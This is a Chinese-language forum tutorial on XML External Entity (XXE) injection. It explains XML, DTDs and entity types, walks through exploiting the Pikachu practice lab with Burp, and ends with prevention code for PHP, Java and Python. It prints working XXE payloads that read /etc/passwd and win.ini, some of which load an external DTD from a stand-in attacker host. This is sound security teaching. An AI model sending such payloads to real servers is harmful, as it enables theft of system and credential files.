电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1526 人浏览分享

XXE注入

[复制链接]
1526 0
XXE注入

web安全 内网安全

目录:1.XXE注入
2.记内网渗透的流程
3.MySQL超长字符截断SQL-Column-Truncation

一、XXE漏洞的简介

XXE:XML External Entity 即外部实体 从安全角度理解成XML External Entity attack外部实体注入攻击。
由于程序在解析输入的XML数据时 解析了攻击者伪造的外部实体而产生的。

二、知道XXE漏洞前首先得先了解XML

XML(Extensible Markup Language),中文名可扩展标记语言。
XML 指可扩展标记语言
XML是一种很像HTML的标记语言 但是其语法比HTML更为严谨。
XML 被设计用来传输和存储数据 而不是显示数据。
XML标签没有被预定义。您需要自行定义标签。
注意点:XML不会做任何事情 它仅仅是包装在XML标签中的纯粹的信息。

XML文档结构

XML文档结构包括XML声明 DTD文档类型定义 可选 文档元素。
  1. <?xml version="1.0"?> //元数据,版本为xml解析器解析的版本
  2. <Person>
  3. <Name>John</Name>
  4. <Age>20</Age>
  5. </Person>
复制代码

<Person></Person>为根元素 有且仅有一个
< ,> ," ,' , &等符号不被允许直接出现在XML文档中
因为xml解析器会搞不清这些符号是数据还是标签
  1. Age>20 < > & " '</Age>   ×
复制代码

xml文档的构建模块

所有的 XML 文档 以及 HTML 文档 均由以下简单的构建模块构成:
元素
属性
实体
PCDATA
CDATA
下面是每个构建模块的简要描述。
1,元素
元素是 XML 以及 HTML 文档的主要构建模块 元素可包含文本
其他元素或者是空的。
实例:
  1. <body>body text in between</body>
  2. <message>some message in between</message>
复制代码

空的 HTML 元素的例子是 "hr""br" 以及 "img"。

2,属性

属性可提供有关元素的额外信息
  1. <font style="color:rgb(77, 77, 77)"><img src="computer.gif" /></font>
复制代码

3,实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
4,PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
5,CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
XML的作用。XML使用元素和属性来描述数据。在数据传送过程中 XML始终保留了诸如父/子关系这样的数据结构 几个应用
程序 可以共享和解析同一个XML文件 不必使用传统的字符串解析或拆解过程。 相反 普通文件不对每个数据段做描述除了在
头文件中也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用
元素名(从数据库)来存取XML数据。

DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明 也可以外部引用。
1,内部声明:<!DOCTYPE 根元素 [元素声明]>

174833yk5a1qa43b3f143b.jpg

2,外部声明引用外部DTD :
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量 可以内部声明或外部引用。

69.png

实体

实体可以理解为变量 其必须在DTD中定义申明 可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式 还可分为内部实体与外部实体 看看这些实体的申明方式。

实体类别介绍

参数实体用%实体名称申明 引用时也用%实体名称;其余实体直接用实体名称申明 引用时用&实体名称。
参数实体只能在DTD中申明 DTD中引用;其余实体只能在DTD中申明 可在xml文档中引用。

内部实体:
  1. <!ENTITY 实体名称 "实体的值">
复制代码

外部实体:
  1. <!ENTITY 实体名称 SYSTEM "URI">
复制代码

参数实体:
  1. <!ENTITY % 实体名称 "实体的值">
  2. 或者
  3. <!ENTITY % 实体名称 SYSTEM "URI">
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]
实例演示:除参数实体外实体+内部实体:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3.     <!ENTITY name "bmjoker">]>
  4. <foo>
  5.         <value>&name;</value>
  6. </foo>
复制代码

实例演示:参数实体+外部实体
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3.     <!ENTITY % name SYSTEM "file:///etc/passwd">
  4.     %name;
  5. ]>
复制代码

注意:%name 参数实体 是在DTD中被引用的 而&name 其余实体 是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体
外部实体即在DTD中使用
  1. <!ENTITY 实体名称 SYSTEM "URI">
复制代码

实例演示:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3.     <!ENTITY content SYSTEM "file:///etc/passwd">]>
  4. <foo>
  5.         <value>&content;</value>
  6. </foo>
复制代码

为了声明这些实体 我们需要在文档类型定义 DTD 中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档
的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM
标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等
然后,在其他DoM结点中可以使用如:&test;引用该实体内容。
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源可以借助各种协议 几个例子:
  1. file:///path/to/file.ext
  2. http://url/file.ext
  3. php://filter/read=convert.base64-encode/resource=conf.php
复制代码

Schema 介绍(XSD)
XML Schema 是基于 XML 的 DTD 替代者。
XML Schema 描述 XML 文档的结构。
XML Schema 语言也可作为 XSD(XML Schema Definition)来引用
但是目前XSD对XXE攻击相关性不是太大 也可以去了解下

XML外部实体注入XML External Entity
当允许引用外部实体时 通过构造恶意内容 可导致读取任意文件 执行系统命令
探测内网端口 攻击内网网站等危害。
引入外部实体方式有多种 比如:

恶意引入外部实体方式1:
XML内容:
  1. <?xml version="1.0"?>
  2. <! DOCTYPE a[
  3.                <!ENTITY b SYSTEM "file:///etc/passwd">[/align][align=left]]>
  4. <c>&b;</c>
复制代码

恶意引入外部实体方式2:
XML内容:
  1. <?xml version="1.0"?>
  2. <! DOCTYPE a[
  3.                <!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
  4.                %d;
  5. ]>
  6. <c>&b;</c>
复制代码

DTD文件(evil.dtd)内容:
  1. <!ENTITY b SYSTEM "file:///etc/passwd">
复制代码

恶意引入外部实体方式3:
XML内容:
  1. <?xml version="1.0"?>
  2. <! DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
  3. <c>&b;</c>
复制代码

DTD文件(evil.dtd)内容:
  1. <!ENTITY b SYSTEM "file:///etc/passwd">
复制代码

不同程序支持的协议不一样

三、靶场练习

这里我用的靶场是pikachu漏洞练习平台
1,首先判断如何存在XXE
点击提交 使用burp进行抓包

100.png

先在burp抓的包xml任意标签随便命名一下 放包
  1. <aa>aa</aa>
复制代码

66.png

这里说明存在回显式XXE漏洞

62.png

2、接下来我们进行内部实体进行注入
内部实体危害不大 不能读文件
  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [ <!ENTITY cc "aa" > ]>
  3. <na>&cc;</na>
复制代码

61.png

3、接下来外部实体就不一样了
外部实体可以读文件
  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY f SYSTEM "file:///C://windows//win.ini" >
  4. ]><x>&f;</x>
复制代码

60.png

其中file:///C://windows//win.ini必须是对方服务器有的
有些黑客就会利用这种漏洞更改实体内容file:///etc/passwd进行获取电脑的密码
其中file也可以更改为其他协议
支持的协议有哪些?
不同程序支持的协议如下图:

29.jpg

XXE的危害

四、预防XXE注入漏洞

方案一:使用开发语言提供的禁用外部实体的方法
  1. 1.PHP:
  2. libxml_disable_entity_loader(true);
  3. 2.JAVA:
  4. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  5. dbf.setExpandEntityReferences(false);
  6. 3.Python:
  7. from lxml import etree
  8. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码

方案二 尽量不要让用户直接提交XML代码 如果要 过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC。

五、结语

需要注意的就是XXE的造成与PHP版本无关 与libxml库的版本有关。libxml <= 2.9.0中 默认启用了外部实体 libxml>2.9.0中默
认仅用了外部实体。XXE并不是直接由libxml库造成的 libxml库提供了一些XML核心功能 包括禁用外部实体的libxml_disabl
e_entity_loader()函数,SimpleXML库提供了解析XML的函数 SimpleXML库依赖于libxml库。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.